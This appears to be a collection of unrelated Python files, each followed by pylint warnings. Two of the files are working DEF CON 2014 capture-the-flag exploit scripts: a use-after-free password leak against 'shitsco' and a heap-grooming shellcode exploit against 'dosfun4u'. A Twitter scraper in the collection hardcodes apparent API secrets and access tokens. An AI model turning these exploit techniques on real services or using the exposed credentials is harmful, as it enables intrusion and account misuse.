6 # keys and tokens from the Twitter Dev Console
7 consumer_key = 'FgCG8zcxF4oINeuAqUYzOw9xh'
8 consumer_secret = 'SrSu7WhrYUpMZnHw7a5ui92rUA1n2jXNoZVb3nJ5wEsXC5xlN9'
9 access_token = '975924102190874624-uk5zGlYRwItkj7pZO2m89NefRm5DFLg'
10 access_token_secret = 'ChvmTjG8hl61xUrXkk3AdKcXMlvAKf4ise1kIQLKsnPu4'
11
12 #Twitter only allows access to a users most recent 3240 tweets with this method
13
14 #authorize twitter, initialize tweepy
15 auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
16 auth.set_access_token(access_token, access_token_secret)
17 api = tweepy.API(auth)
18
19 #initialize a list to hold all the tweepy Tweets
20 alltweets = []
21
22 #make initial request for most recent tweets (200 is the maximum allowed count)
23 new_tweets = api.search(q="#DonaldTrump",count=200,tweet_mode="extended")
24
25 #save most recent tweets
26 alltweets.extend(new_tweets)
27
28 #save the id of the oldest tweet less one
29 # oldest = alltweets[-1].id - 1
30 #keep grabbing tweets until there are no tweets left to grab
31 while len(new_tweets) > 0:
32 # print "getting tweets before %s" % (oldest)
33
34 #all subsiquent requests use the max_id param to prevent duplicates
35 new_tweets = api.search(q="#DonaldTrump",count=200,tweet_mode="extended")
36
37 #save most recent tweets
38 alltweets.extend(new_tweets)
39
40 #update the id of the oldest tweet less one
41 oldest = alltweets[-1].id - 1
42
43 # print "...%s tweets downloaded so far" % (len(alltweets))
44
45 #transform the tweepy tweets into a 2D array that will populate the csv
46 outtweets = [[tweet.id_str, tweet.created_at, tweet.full_tweet.encode("utf-8"), tweet.retweet_count, tweet.favorite_count] for tweet in alltweets]
47
48 #write the csv
49 with open('tweets.csv', 'w+') as f:
50 writer = csv.writer(f)
51 writer.writerow(["id","created_at","full_text","retweet_count","favorite_count"])
52 writer.writerows(outtweets)
53
| 50 - warning: bad-indentation
51 - warning: bad-indentation
52 - warning: bad-indentation
49 - warning: unspecified-encoding
3 - warning: unused-import
|
1 from test import mining
2 tag = "#WednesdayWisdom"
3 limit = "10"
4 sen_list = mining(tag,int(limit))
5 print(sen_list) | 1 - error: no-name-in-module
|
1 #!/usr/bin/env python
2
3 import socket
4 from struct import pack, unpack
5
6 DEBUG = False
7
8 server = "shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me"
9 server = "127.0.0.1"
10 port = 31337
11 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
12 s.connect((server, port))
13 s.settimeout(30)
14
15 def recv_until(s, pattern):
16 ret = ''
17 while True:
18 c = s.recv(1)
19 if c == '':
20 raise Exception("Connection closed")
21 ret += c
22 if ret.find(pattern) != -1:
23 break
24 return ret
25
26 # trigger use-after-free by creating 2 items and then removing them in order
27 print recv_until(s, "$ ")
28 print "set 1 abcd"
29 s.send("set 1 abcd\n")
30 print recv_until(s, "$ ")
31 print "set 2 abcd"
32 s.send("set 2 abcd\n")
33 print recv_until(s, "$ ")
34 print "set 1"
35 s.send("set 1\n")
36 print recv_until(s, "$ ")
37 print "set 2"
38 s.send("set 2\n")
39 print recv_until(s, "$ ")
40
41
42 print "show <pointers>"
43 # set use-after-free item via strdup of argument to 'show' command
44 # first two items are the key,value pair followed by blink and flink
45 # use a pointer to the string "password" in the code section for the key (0x80495d0)
46 # use the location of the password in bss for the value (0x804c3a0)
47 # use something to terminate the linked list for flink and blink
48 # - can't use null directly here since the strdup allocation would be cut short (must be 16 bytes to re-use the free'd block)
49 # - just use a pointer to some nulls in bss instead (0x804c390)
50 s.send("show " + pack("<IIII", 0x80495d0, 0x804C3A0, 0x804C390, 0x0804C390) + "\n")
51 print recv_until(s, "$ ")
52
53 # now, this will simply dump the password for us
54 print "show"
55 s.send("show\n")
56 a = recv_until(s, ': ')
57 pw = recv_until(s, '\n')[:-1]
58 b = recv_until(s, "$ ")
59 print a + pw + '\n' + b
60
61 print 'Enable password: "' + pw + '"'
62
63 print "enable " + pw
64 s.send('enable ' + pw + '\n')
65
66 print recv_until(s, "# ")
67 print "flag"
68 s.send('flag\n')
69 print recv_until(s, "# ")
70 print "quit"
71 s.send('quit\n')
| 27 - error: syntax-error
|
1 #!/usr/bin/env python
2
3 import socket, subprocess, sys
4 from struct import pack, unpack
5
6 global scenes
7 global officers
8
9 scenes = {}
10 officers = {}
11
12 remote = len(sys.argv) > 1
13
14 PORT = 8888
15 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16 if remote:
17 HOST = "dosfun4u_5d712652e1d06a362f7fc6d12d66755b.2014.shallweplayaga.me"
18 else:
19 HOST = '127.0.0.1'
20
21 def chksum(data):
22 ret = 0
23 for d in data:
24 ret += ord(d)
25 return ret & 0xffff
26
27 def add_officer(officer_id, status=0, x=0, y=0):
28 global officers
29 print 'update' if officers.has_key(officer_id) and officers[officer_id] else 'add', 'officer', hex(officer_id)
30 officers[officer_id] = True
31 payload = pack('H', 0x7d0)
32 payload += pack('H', officer_id)
33 payload += pack('H', status)
34 payload += pack('H', x)
35 payload += pack('H', y)
36 payload += pack('H', 0x0)
37 return payload
38
39 def remove_officer(officer_id):
40 global officers
41 print 'remove officer', hex(officer_id), 'should work' if officers.has_key(officer_id) and officers[officer_id] else 'should fail'
42 officers[officer_id] = False
43 payload = pack('H', 0xbb8)
44 payload += pack('H', officer_id)
45 return payload
46
47 def add_scene(scene_id, data2, data3, inline_data='', x=0, y=0):
48 global scenes
49 print 'update' if scenes.has_key(scene_id) and scenes[scene_id] else 'add', 'scene', hex(scene_id)
50 scenes[scene_id] = True
51 size1 = len(inline_data)/2
52 size2 = len(data2)
53 size3 = len(data3)
54 payload = pack('H', 0xfa0)
55 payload += pack('H', scene_id)
56 payload += pack('H', x)
57 payload += pack('H', y)
58 payload += pack('B', size1)
59 payload += pack('B', size2)
60 payload += pack('H', size3)
61 payload += pack('H', 0)
62 payload += inline_data[:size1*2]
63 payload += data2
64 payload += data3
65 return payload
66
67 def recv_all(s, size):
68 ret = []
69 received = 0
70 while size > received:
71 c = s.recv(size-received)
72 if c == '':
73 raise Exception('Connection closed')
74 ret.append(c)
75 received += len(c)
76 return ''.join(ret)
77
78 def recv_until(s, pattern):
79 ret = ''
80 while True:
81 c = s.recv(1)
82 if c == '':
83 raise Exception("Connection closed")
84 ret += c
85 if ret.find(pattern) != -1:
86 break
87 return ret
88
89 s.connect((HOST, PORT))
90
91 if remote:
92 print s.recv(4096)
93 buf = s.recv(4096)
94 print buf
95 data = buf.split(' ')[0]
96 print 'challenge = {}'.format(data)
97 print 'hashcatting...'
98 p = subprocess.Popen(['./hashcat', data], stdout=subprocess.PIPE);
99 result = p.communicate()[0].strip('\n\r\t ')
100 print 'response = {}'.format(result)
101 s.send(result)
102
103 def send_cmd(s,payload,recvLen=0):
104 payload += pack('H', chksum(payload))
105 s.send(payload)
106 return recv_all(s, recvLen)
107
108 shellcode = open('shellcode', 'rb').read()
109
110 print 'Getting block into free-list'
111 send_cmd(s,add_officer(1),5)
112 send_cmd(s,remove_officer(1),5)
113 print 'Adding officer to reuse block from free-list'
114 send_cmd(s,add_officer(0xc),5)
115 print 'Writing shellcode to 008f:0000'
116 send_cmd(s,add_scene(1, pack("<HHHHHH", 0xc, 0, 0x4688, 0x8f, 0, 0), shellcode),5)
117 print 'Modifying officer structure to include pointer to fake officer on stack'
118 send_cmd(s,add_scene(2, pack("<HHHHHH", 1, 0, 0, 0, 0x47aa, 0x011f), "lolololol"),5)
119 print 'Writing return to shellcode on stack'
120 send_cmd(s,add_officer(0x945, 0x1d26, 0x10, 0x97),5)
121
122 print 'Receiving response...'
123 print 'Key 1:', recv_until(s,'\n').replace('\x00', '')[:-1]
124 print 'Key 2:', recv_until(s,'\n')[:-1]
| 29 - error: syntax-error
|
1 import tkinter as tk
2 from tkinter import filedialog
3 from tkinter import *
4 from PIL import Image, ImageTk
5 import numpy
6 from keras.models import load_model
7 model = load_model('BienBao.h5')
8 class_name = {
9 1:'Speed limit (20km/h)',
10 2:'Speed limit (30km/h)',
11 3:'Speed limit (50km/h)',
12 4:'Speed limit (60km/h)',
13 5:'Speed limit (70km/h)',
14 6:'Speed limit (80km/h)',
15 7:'End of speed limit (80km/h)',
16 8:'Speed limit (100km/h)',
17 9:'Speed limit (120km/h)',
18 10:'No passing',
19 11:'No passing veh over 3.5 tons',
20 12:'Right-of-way at intersection',
21 13:'Priority road',
22 14:'Yield',
23 15:'Stop',
24 16:'No vehicles',
25 17:'Veh > 3.5 tons prohibited',
26 18:'No entry',
27 19:'General caution',
28 20:'Dangerous curve left',
29 21:'Dangerous curve right',
30 22:'Double curve',
31 23:'Bumpy road',
32 24:'Slippery road',
33 25:'Road narrows on the right',
34 26:'Road work',
35 27:'Traffic signals',
36 28:'Pedestrians',
37 29:'Children crossing',
38 30:'Bicycles crossing',
39 31:'Beware of ice/snow',
40 32:'Wild animals crossing',
41 33:'End speed + passing limits',
42 34:'Turn right ahead',
43 35:'Turn left ahead',
44 36:'Ahead only',
45 37:'Go straight or right',
46 38:'Go straight or left',
47 39:'Keep right',
48 40:'Keep left',
49 41:'Roundabout mandatory',
50 42:'End of no passing',
51 43:'End no passing veh > 3.5 tons'
52 }
53
54 top=tk.Tk()
55 top.geometry('800x600')
56 top.title('Phan loai bien bao giao thong')
57 top.configure(background='#CDCDCD')
58 label = Label(top, background = '#CDCDCD', font=('arial',15,'bold'))
59 label.place(x=0, y=0, relwidth = 1, relheight = 1)
60
61 sign_image = Label(top)
62 def classify(file_path):
63 global label_packed
64 image = Image.open(file_path)
65 image = image.resize((30, 30))
66 image = numpy.expand_dims(image, axis=0)
67 image = numpy.array(image)
68 print(image.shape)
69 pred = model.predict_classes([image])[0]
70 sign = class_name[pred+1]
71 print(sign)
72 label.configure(foreground = '#011638', text = sign)
73
74
75 def show_classify_button(file_path):
76 classify_button = Button(top,text='Phan loai', command = lambda : classify(file_path), padx=10, pady=5)
77 classify_button.configure(background='GREEN', foreground = 'white', font = ('arial', 10, 'bold'))
78 classify_button.place(relx = 0.79, rely = 0.46)
79
80 def upload_image():
81 try:
82 file_path = filedialog.askopenfilename()
83 uploaded = Image.open(file_path)
84 uploaded.thumbnail(((top.winfo_width()/2.25),
85 (top.winfo_height()/2.25)))
86 im = ImageTk.PhotoImage(uploaded)
87 sign_image.configure(image= im)
88 sign_image.image = im
89 label.configure(text='')
90 show_classify_button(file_path)
91 except:
92 pass
93
94 upload = Button(top, text='Upload an image', command=upload_image, padx = 10, pady = 5)
95 upload.configure(background='#364156', foreground = 'white', font = ('arial', 10, 'bold'))
96
97 upload.pack(side = BOTTOM, pady = 50)
98 sign_image.pack(side=BOTTOM, expand = True)
99 label.pack(side = BOTTOM, expand = True)
100 heading = Label(top, text = 'Bien bao giao thong cua ban', pady = 20, font = ('arial', 20, 'bold'))
101 heading.configure(background = '#CDCDCD', foreground = '#364156')
102 heading.pack()
103 top.mainloop() | 3 - warning: wildcard-import
63 - warning: global-variable-not-assigned
91 - warning: bare-except
3 - warning: unused-wildcard-import
|
1 def switch(on_strike):
2 players = {1,2}
3 return list(players.difference(set([on_strike])))[0]
4
5
6 def get_player(previous_score, previous_player, previous_bowl_number):
7 if previous_score%2 == 0 and (previous_bowl_number%6 !=0 or previous_bowl_number ==0):
8 player = previous_player
9 elif previous_score%2 != 0 and previous_bowl_number % 6 == 0:
10 player = previous_player
11 else:
12 player = switch(previous_player)
13 return player
14
15
16
17 a = [1, 2, 0, 0, 4, 1, 6, 2, 1, 3]
18 player_turns = []
19 player_score_chart = {1:0, 2:0}
20 total_score = 0
21
22 previous_score=0
23 previous_player=1
24 previous_bowl_number=0
25
26 for runs in a:
27 player_turns.append(get_player(previous_score, previous_player, previous_bowl_number))
28 previous_bowl_number+=1
29 previous_score=runs
30 previous_player=player_turns[-1]
31 player_score_chart[previous_player] += previous_score
32 total_score += previous_score
33
34 print 'Total Score : ', total_score
35 print 'Batsman 1 Score : ', player_score_chart[1]
36 print 'Batsman 2 Score : ', player_score_chart[2]
| 34 - error: syntax-error
|
1 n=int(input("enter the numbers u want to print:"))
2 for i in range(1,n+1):
3 if(i%3==0):
4 print ('Fizz')
5 continue
6 elif(i%5==0):
7 print ('Buzz')
8 continue
9 print i
10
11
| 9 - error: syntax-error
|
1 arr=[1,2,3,5,8,4,7,9,1,4,12,5,6,5,2,1,0,8,1]
2 a = [None] * len(arr);
3 visited = 0;
4 for i in range(0, len(arr)):
5 count = 1;
6 for j in range(i+1, len(arr)):
7 if(arr[i] == arr[j]):
8 count = count + 1;
9 a[j] = visited;
10 if(a[i] != visited):
11 a[i] = count;
12 for i in range(0, len(a)):
13 if(a[i] != visited):
14 print(" "+ str(arr[i]) +" has occured "+ str(a[i])+" times");
| 2 - warning: unnecessary-semicolon
3 - warning: unnecessary-semicolon
5 - warning: unnecessary-semicolon
8 - warning: unnecessary-semicolon
9 - warning: unnecessary-semicolon
11 - warning: unnecessary-semicolon
14 - warning: unnecessary-semicolon
|
1 def returnSum(dict):
2 sum=0
3 for i in dict:
4 sum=sum+dict[i]
5 return sum
6 dict={'Rick':85,'Amit':42,'George':53,'Tanya':60,'Linda':35}
7 print 'sum:', returnSum(dict)
| 7 - error: syntax-error
|
1 # represent the "board" in code
2
3 # dependencies
4 import random
5
6 class Board:
7 def __init__(self, width=10):
8 self.width = width
9 self.height = width * 2
10
11 self.WALL_CHANCE = .25
12 self.FLOOR_CHANCE = .15
13
14 # create the grid
15 self.create_random_grid()
16
17 def create_random_grid(self):
18 # reset old grid
19 self.grid = []
20
21 # generate cells for new grid
22 for i in range(self.width * self.height):
23 # is the cell at the left, right, top, or bottom?
24 is_left = True if i % self.width == 0 else False
25 is_right = True if i % self.width == self.width-1 else False
26 is_top = True if i < self.width else False
27 is_bottom = True if i > (self.width * self.height - self.width) else False
28
29 # create the cell
30 cell = {
31 "left" : is_left,
32 "right" : is_right,
33 "roof" : is_top,
34 "floor" : is_bottom,
35 "ID" : i
36 }
37
38 # append to grid
39 self.grid.append(cell)
40
41 # randomly generate walls
42 total = self.width * self.height
43 horizontal_amount = int(total * self.FLOOR_CHANCE)
44 verticle_amount = int(total * self.WALL_CHANCE)
45
46 # generate the walls
47 for _i in range(verticle_amount):
48 random_index = random.randrange(0, total)
49
50 adding_num = -1 if random_index == total - 1 else 1
51 first = "right" if adding_num == 1 else "left"
52 second = "right" if first == "left" else "left"
53
54 self.grid[random_index][first] = True
55 self.grid[random_index + adding_num][second] = True
56
57 # generate the floors
58 for _i in range(horizontal_amount):
59 random_index = random.randrange(0, total)
60
61 adding_num = self.width * -1 if random_index > (total - self.width) else self.width
62 first = "floor" if adding_num == self.width else "roof"
63 second = "floor" if first == "roof" else "roof"
64
65 self.grid[random_index][first] = True
66 self.grid[random_index + adding_num - 1][second] = True
67
68
69 def can_move_from(self, cell_index):
70 # TODO this works but its a lot of repeated code. Can it be made better?
71
72 # can you move left
73 can_move_left = False
74 is_left = True if cell_index % self.width == 0 else False
75 if not is_left and self.grid[cell_index]["left"] == False:
76 left_cell = self.grid[cell_index - 1]
77 is_wall_left = True if left_cell["right"] == True else False
78 can_move_left = True if not is_wall_left else False
79
80 # can you move right
81 can_move_right = False
82 is_right = True if cell_index % self.width == self.width-1 else False
83 if not is_right and self.grid[cell_index]["right"] == False:
84 right_cell = self.grid[cell_index + 1]
85 is_wall_right = True if right_cell["left"] == True else False
86 can_move_right = True if not is_wall_right else False
87
88 # can you move up
89 can_move_up = False
90 is_top = True if cell_index < self.width else False
91 if not is_top and self.grid[cell_index]["roof"] == False:
92 top_cell = self.grid[cell_index - self.width]
93 is_wall_top = True if top_cell["floor"] == True else False
94 can_move_up = True if not is_wall_top else False
95
96 # can you move down
97 can_move_down = False
98 is_bottom = True if cell_index > (self.width * self.height - self.width) else False
99 if not is_bottom and self.grid[cell_index]["floor"] == False:
100 bottom_cell = self.grid[cell_index + self.width]
101 is_wall_bottom = True if bottom_cell["roof"] == True else False
102 can_move_down = True if not is_wall_bottom else False
103
104 # return the results
105 return can_move_left, can_move_right, can_move_up, can_move_down
106
107 def BFS(self):
108 """breadth first search to find the quickest way to the bottom"""
109 start_i = random.randrange(0,self.width)
110 paths = [ [start_i] ]
111 solved = False
112 dead_ends = []
113
114 while not solved:
115 for path in paths:
116 # find all possibles moves from path
117 if len(dead_ends) >= len(paths) or len(paths) > 10000: # TODO this solution sucks
118 return False, False
119
120 # NOTE order is left right up down
121 if path[-1] >= (self.width * self.height - self.width):
122 solved = True
123 return paths, paths.index(path)
124
125 possible_moves = self.can_move_from(path[-1])
126
127 if True in possible_moves:
128 move_order = [-1, 1, (self.width) * -1, self.width]
129 first_append_flag = False
130 origonal_path = path.copy()
131 for i in range(4):
132 possible_move = possible_moves[i]
133 if possible_move:
134 move = move_order[i]
135
136 next_index = origonal_path[-1] + move
137 if not next_index in origonal_path:
138
139 if not first_append_flag:
140 path.append(next_index)
141 first_append_flag = True
142 else:
143 new_path = origonal_path.copy()
144 new_path.append(next_index)
145 paths.append(new_path)
146 if not first_append_flag:
147 dead_ends.append(paths.index(path))
148 else:
149 dead_ends.append(paths.index(path))
150
151
152
153 def pretty_print_BFS(self, path):
154 for i in range(self.width * self.height):
155 cell = self.grid[i]
156 in_path = True if cell["ID"] in path else False
157
158 number_str = str(i)
159
160 if len(number_str) == 1:
161 number_str += " "
162 elif len(number_str) == 2:
163 number_str += " "
164
165 end_str = "\n" if i % self.width == self.width-1 else " "
166
167 if in_path:
168 print('\033[92m' + number_str + '\033[0m', end=end_str)
169 else:
170 print(number_str, end=end_str)
171 print(path)
172
173
174
175
176 if __name__ == "__main__":
177 b = Board(10)
178
179 paths, index = b.BFS()
180
181 if paths and index:
182 b.pretty_print_BFS(paths[index])
183 else:
184 print('ljfdsakfdl')
185
186 # can_move_left, can_move_right, can_move_up, can_move_down = b.can_move_from(0)
187
188 # print("can_move_left ", can_move_left)
189 # print("can_move_right ", can_move_right)
190 # print("can_move_up ", can_move_up)
191 # print("can_move_down ", can_move_down)
| 70 - warning: fixme
117 - warning: fixme
24 - refactor: simplifiable-if-expression
25 - refactor: simplifiable-if-expression
26 - refactor: simplifiable-if-expression
27 - refactor: simplifiable-if-expression
69 - refactor: too-many-locals
74 - refactor: simplifiable-if-expression
77 - refactor: simplifiable-if-expression
78 - refactor: simplifiable-if-expression
82 - refactor: simplifiable-if-expression
85 - refactor: simplifiable-if-expression
86 - refactor: simplifiable-if-expression
90 - refactor: simplifiable-if-expression
93 - refactor: simplifiable-if-expression
94 - refactor: simplifiable-if-expression
98 - refactor: simplifiable-if-expression
101 - refactor: simplifiable-if-expression
102 - refactor: simplifiable-if-expression
110 - warning: redefined-outer-name
145 - warning: modified-iterating-list
114 - refactor: too-many-nested-blocks
107 - refactor: inconsistent-return-statements
156 - refactor: simplifiable-if-expression
|
1 # use pygame to show the board on a window
2
3 # dependencies
4 import pygame, random
5
6 class Window:
7 def __init__(self, board):
8 # init py game
9 pygame.init()
10
11 # width height
12 self.WIDTH = 600
13 self.HEIGHT = 600
14
15 # diffenet display modes
16 self.display_one = False
17 self.display_all = False
18
19 # place holder
20 self.solution = []
21 self.display_all_c = 0
22
23 # the board to display on the window
24 self.board = board
25
26 # define the dimensions of the cells of the board
27 self.cell_width = self.WIDTH // self.board.width
28
29 # define the left padding for the grid
30 total_width = self.cell_width * self.board.width
31 self.left_padding = (self.WIDTH - total_width) // 2
32
33
34 # colors
35 self.COLORS = {
36 "BLACK" : (255, 255, 255),
37 "GREY" : (230, 230, 230),
38 "BLUE" : (0, 0, 255),
39 "RED" : (255, 0, 0),
40 "YELLOW" : (212, 175, 55)
41 }
42
43 def create_random_color(self):
44 return (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
45
46 def create_window(self):
47 # define window
48 self.WIN = pygame.display.set_mode( (self.WIDTH, self.HEIGHT) )
49
50 # name window
51 pygame.display.set_caption("LIGHT NING")
52
53 # logo/icon for window
54 logo = pygame.image.load("images/logo.png")
55 pygame.display.set_icon(logo)
56
57 def get_BFS(self):
58 solved = False
59 while not solved:
60 self.board.create_random_grid()
61 paths, index = self.board.BFS()
62
63 if paths != False and index != False:
64 self.solution = paths[index]
65 solved = True
66
67 self.paths = paths
68 self.solution_i = index
69
70 def draw_grid_solution(self):
71 fflag = True
72 for i in range(self.board.width * self.board.height):
73 if not i in self.solution: continue
74
75 # might not work
76 col_num = i % self.board.width
77 row_num = i // self.board.width
78
79 x_pos = self.left_padding + (col_num * self.cell_width)
80 y_pos = row_num * self.cell_width
81
82 # define rect
83 r = pygame.Rect(x_pos, y_pos, self.cell_width, self.cell_width)
84
85 # draw the rectangle
86 pygame.draw.rect(self.WIN, self.COLORS["YELLOW"], r)
87
88 def draw_BFS(self):
89 if self.display_all_c >= len(self.paths):
90 self.display_all_c = 0
91
92 # generate a color for each path
93 path_colors = []
94 for path in self.paths:
95 path_colors.append(self.create_random_color())
96 path_colors[-1] = (0, 0 ,0)
97
98 temp = self.paths.pop(self.display_all_c)
99 self.paths.append(temp)
100
101 for path in self.paths:
102 for i in path:
103 # might not work
104 col_num = i % self.board.width
105 row_num = i // self.board.width
106
107 x_pos = self.left_padding + (col_num * self.cell_width)
108 y_pos = row_num * self.cell_width
109
110 # define rect
111 r = pygame.Rect(x_pos, y_pos, self.cell_width, self.cell_width)
112
113 # draw the rectangle
114 pygame.draw.rect(self.WIN, path_colors[self.paths.index(path)], r)
115
116 self.display_all_c += 1
117
118
119 def draw_window(self):
120 self.WIN.fill(self.COLORS["GREY"])
121
122 if self.display_one:
123 self.draw_grid_solution()
124 elif self.display_all:
125 self.draw_BFS()
126
127 pygame.display.update()
128
129 def main(self):
130 # create window
131 self.create_window()
132
133 self.running = True
134 while self.running:
135 for event in pygame.event.get():
136 if event.type == pygame.QUIT:
137 self.running = False
138
139 elif event.type == pygame.KEYDOWN:
140 if event.key == pygame.K_0:
141 self.get_BFS()
142 elif event.key == pygame.K_1:
143 # toggle display one
144 self.display_one = not self.display_one
145 if self.display_one:
146 self.display_all = False
147 elif event.key == pygame.K_2:
148 # toggle display all
149 self.display_all = not self.display_all
150 if self.display_all:
151 self.display_all_c = 0
152 self.display_one = False
153
154 self.draw_window()
155
156 if __name__ == "__main__":
157 win = Window()
158
159 win.main() | 6 - refactor: too-many-instance-attributes
71 - warning: unused-variable
48 - warning: attribute-defined-outside-init
67 - warning: attribute-defined-outside-init
68 - warning: attribute-defined-outside-init
133 - warning: attribute-defined-outside-init
137 - warning: attribute-defined-outside-init
157 - error: no-value-for-parameter
|
1 # this could and will be better i just needed to make it here as a
2 # proof of concept but it will be online and better later
3
4 import os, sys
5
6 BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # adds project dir to places it looks for the modules
7 sys.path.append(BASE_PATH)
8
9 from lib.board import Board
10 from lib.window import Window
11
12 b = Board()
13 win = Window(b)
14
15 win.main() | Clean Code: No Issues Detected
|
1 from flask import Flask, render_template, request, jsonify
2 from flask_cors import CORS
3 import json
4 import numpy as np
5
6 app = Flask(__name__)
7 CORS(app)
8
9
10 @app.route('/transpose', methods=["POST"])
11 def homepage():
12 data = request.json
13 result = None
14 error = ""
15 try:
16 mat = data["matrix"]
17 mat = np.array(mat)
18 result = mat.T.tolist()
19 error = ""
20 except KeyError as e:
21 error = "Key %s not found" % (str(e))
22 pass
23 except Exception as e:
24 error = str(e)
25 pass
26 return jsonify({"result": result, "error": error})
27
28
29 app.run()
| 23 - warning: broad-exception-caught
22 - warning: unnecessary-pass
25 - warning: unnecessary-pass
1 - warning: unused-import
3 - warning: unused-import
|
1 from tkinter import *
2 from tkinter import ttk
3 from tkinter import filedialog
4 import test_python3
5
6 class Root(Tk):
7 def __init__(self):
8 super(Root, self).__init__()
9 self.title("Malware Detection")
10 self.minsize(500, 300)
11
12 self.labelFrame = ttk.LabelFrame(self, text = " Open File")
13 self.labelFrame.grid(column = 0, row = 1, padx = 200, pady = 20)
14
15 self.button()
16
17
18
19 def button(self):
20 self.button = ttk.Button(self.labelFrame, text = "Browse A File",command = self.fileDialog)
21 self.button.grid(column = 1, row = 1)
22
23
24 def fileDialog(self):
25
26 self.filename = filedialog.askopenfilename(initialdir = "/", title = "Select A File")
27 self.label = ttk.Label(self.labelFrame, text = "")
28 self.label.grid(column = 1, row = 2)
29 self.label.configure(text = self.filename)
30
31
32
33
34 root = Root()
35 root.mainloop() | 1 - warning: wildcard-import
8 - refactor: super-with-arguments
15 - error: not-callable
19 - error: method-hidden
26 - warning: attribute-defined-outside-init
27 - warning: attribute-defined-outside-init
4 - warning: unused-import
1 - warning: unused-wildcard-import
|
1 from .resnext101 import ResNeXt101
| 1 - error: relative-beyond-top-level
1 - warning: unused-import
|
1 from .resnet import ResNet, BasicBlock, Bottleneck
2 import torch
3 from torch import nn
4 from .config import resnet50_path
5
6 model_urls = {
7 'resnet18': 'https://download.pytorch.org/models/resnet18-5c106cde.pth',
8 'resnet34': 'https://download.pytorch.org/models/resnet34-333f7ec4.pth',
9 'resnet50': 'https://download.pytorch.org/models/resnet50-19c8e357.pth',
10 'resnet101': 'https://download.pytorch.org/models/resnet101-5d3b4d8f.pth',
11 'resnet152': 'https://download.pytorch.org/models/resnet152-b121ed2d.pth',
12 }
13
14 class ResNet50(nn.Module):
15 def __init__(self):
16 super(ResNet50, self).__init__()
17 net = ResNet(last_stride=2,
18 block=Bottleneck, frozen_stages=False,
19 layers=[3, 4, 6, 3])
20 net.load_param(resnet50_path)
21
22 self.layer0 = net.layer0
23 self.layer1 = net.layer1
24 self.layer2 = net.layer2
25 self.layer3 = net.layer3
26 self.layer4 = net.layer4
27
28 def forward(self, x):
29 layer0 = self.layer0(x)
30 layer1 = self.layer1(layer0)
31 layer2 = self.layer2(layer1)
32 layer3 = self.layer3(layer2)
33 layer4 = self.layer4(layer3)
34 return layer4
35
36 def load_param(self, trained_path):
37 param_dict = torch.load(trained_path)
38 for i in param_dict:
39 if 'classifier' in i or 'arcface' in i:
40 continue
41 self.state_dict()[i].copy_(param_dict[i])
42 print('Loading pretrained model from {}'.format(trained_path))
43
44
45 class ResNet50_BIN(nn.Module):
46 def __init__(self):
47 super(ResNet50_BIN, self).__init__()
48 net = ResNet(last_stride=2,
49 block=IN_Bottleneck, frozen_stages=False,
50 layers=[3, 4, 6, 3])
51 net.load_param(resnet50_path)
52
53 self.layer0 = net.layer0
54 self.layer1 = net.layer1
55 self.layer2 = net.layer2
56 self.layer3 = net.layer3
57 self.layer4 = net.layer4
58
59 def forward(self, x):
60 layer0 = self.layer0(x)
61 layer1 = self.layer1(layer0)
62 layer2 = self.layer2(layer1)
63 layer3 = self.layer3(layer2)
64 layer4 = self.layer4(layer3)
65 return layer4
66
67 def load_param(self, trained_path):
68 param_dict = torch.load(trained_path)
69 for i in param_dict:
70 if 'classifier' in i or 'arcface' in i:
71 continue
72 self.state_dict()[i].copy_(param_dict[i])
73 print('Loading pretrained model from {}'.format(trained_path))
74
75
76 class ResNet50_LowIN(nn.Module):
77 def __init__(self):
78 super(ResNet50_LowIN, self).__init__()
79 net = ResNet_LowIN(last_stride=2,
80 block=Bottleneck, frozen_stages=False,
81 layers=[3, 4, 6, 3])
82 net.load_param(resnet50_path)
83
84 self.layer0 = net.layer0
85 self.layer1 = net.layer1
86 self.layer2 = net.layer2
87 self.layer3 = net.layer3
88 self.layer4 = net.layer4
89
90 def forward(self, x):
91 layer0 = self.layer0(x)
92 layer1 = self.layer1(layer0)
93 layer2 = self.layer2(layer1)
94 layer3 = self.layer3(layer2)
95 layer4 = self.layer4(layer3)
96 return layer4
97
98 def load_param(self, trained_path):
99 param_dict = torch.load(trained_path)
100 for i in param_dict:
101 if 'classifier' in i or 'arcface' in i:
102 continue
103 self.state_dict()[i].copy_(param_dict[i])
104 print('Loading pretrained model from {}'.format(trained_path))
| 1 - error: relative-beyond-top-level
4 - error: relative-beyond-top-level
16 - refactor: super-with-arguments
47 - refactor: super-with-arguments
49 - error: undefined-variable
78 - refactor: super-with-arguments
79 - error: undefined-variable
1 - warning: unused-import
|
1 resnet50_path = './resnet/resnet50-19c8e357.pth'
| Clean Code: No Issues Detected
|
1 from .make_model import ResNet50, ResNet50_BIN, ResNet50_LowIN | 1 - error: relative-beyond-top-level
1 - warning: unused-import
1 - warning: unused-import
1 - warning: unused-import
|
1 import datetime
2 import os
3 import time
4
5 import torch
6 from torch import nn
7 from torch import optim
8 from torch.autograd import Variable
9 from torch.utils.data import DataLoader
10 from torchvision import transforms
11 import pandas as pd
12 import numpy as np
13
14 import joint_transforms
15 from config import msra10k_path, MTDD_train_path
16 from datasets import ImageFolder_joint
17 from misc import AvgMeter, check_mkdir, cal_sc
18 from model import R3Net, SDCNet
19 from torch.backends import cudnn
20
21 cudnn.benchmark = True
22
23 torch.manual_seed(2021)
24 torch.cuda.set_device(6)
25
26 csv_path = './label_DUTS-TR.csv'
27 ckpt_path = './ckpt'
28 exp_name ='SDCNet'
29
30 args = {
31 'iter_num': 30000,
32 'train_batch_size': 16,
33 'last_iter': 0,
34 'lr': 1e-3,
35 'lr_decay': 0.9,
36 'weight_decay': 5e-4,
37 'momentum': 0.9,
38 'snapshot': ''
39 }
40
41 joint_transform = joint_transforms.Compose([
42 joint_transforms.RandomCrop(300),
43 joint_transforms.RandomHorizontallyFlip(),
44 joint_transforms.RandomRotate(10)
45 ])
46 img_transform = transforms.Compose([
47 transforms.ToTensor(),
48 transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])
49 ])
50 target_transform = transforms.ToTensor()
51 to_pil = transforms.ToPILImage()
52
53 all_data = pd.read_csv(csv_path)
54 train_set = ImageFolder_joint(all_data, joint_transform, img_transform, target_transform)
